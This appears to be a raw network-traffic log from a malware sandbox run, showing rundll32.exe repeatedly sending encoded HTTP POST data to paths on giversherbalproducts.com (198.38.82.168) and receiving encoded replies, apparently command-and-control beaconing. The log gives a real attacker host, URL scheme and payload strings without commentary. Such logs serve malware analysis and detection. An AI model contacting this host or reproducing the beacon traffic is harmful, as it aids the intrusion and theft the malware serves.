f3p/QUVCQ0FBfn15eH96fXh8e0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
423	192.168.2.3	50265	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:37.139573097 CEST	7593	OUT	POST /lBawcxb5/Hww+RX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:37.599248886 CEST	7595	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:37 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 38 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh8e0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
424	192.168.2.3	50266	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:37.667068005 CEST	7596	OUT	POST /lBawcxb5/JxgCCAEsAyobRnpzeWJ+fXJlfmF4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:38.113533020 CEST	7597	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:37 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 38 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh8e0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
425	192.168.2.3	50267	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:37.959352016 CEST	7596	OUT	POST /lBawcxb5/CQgALXohIxEcIQgPDzYHBB4BLwU8L0J9dnlkenp3ZXhlfw== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:38.439357042 CEST	7598	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:38 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 38 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh8dEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
426	192.168.2.3	50268	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:38.541868925 CEST	7599	OUT	POST /lBawcxb5/IzsuOSpCe3J+YXp8c2J9ZXk= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:39.041448116 CEST	7600	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:38 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 38 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh8dEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
427	192.168.2.3	50269	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:38.721638918 CEST	7599	OUT	POST /lBawcxb5/eyIsfA4FBhEBOkJ7cn5henxzYn1leQ== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:39.181844950 CEST	7601	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:38 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 38 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh8dUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
428	192.168.2.3	50270	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:39.358078957 CEST	7602	OUT	POST /lBawcxb5/DQwoRX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:39.802352905 CEST	7603	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:39 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 38 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh8dUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
429	192.168.2.3	50271	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:39.505089998 CEST	7602	OUT	POST /lBawcxb5/fCguKH8AQ3p1fWV7fXRheWR4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:39.987710953 CEST	7604	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:39 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 38 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh8dUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.3	49798	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:32.646828890 CEST	1134	OUT	POST /lBawcxb5/OSdCfXZ5ZHp6d2V4ZX8= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:33.171525955 CEST	1135	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:32 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 79 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXpyfkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
430	192.168.2.3	50272	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:40.112781048 CEST	7605	OUT	POST /lBawcxb5/CiJ+RX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:40.611210108 CEST	7606	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:40 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 7a 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXhzfEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
431	192.168.2.3	50273	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:40.351315975 CEST	7605	OUT	POST /lBawcxb5/KXMbDiQ8MA0pLgAbKQUtGAgZIH5Ce3J+YXp8c2J9ZXk= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
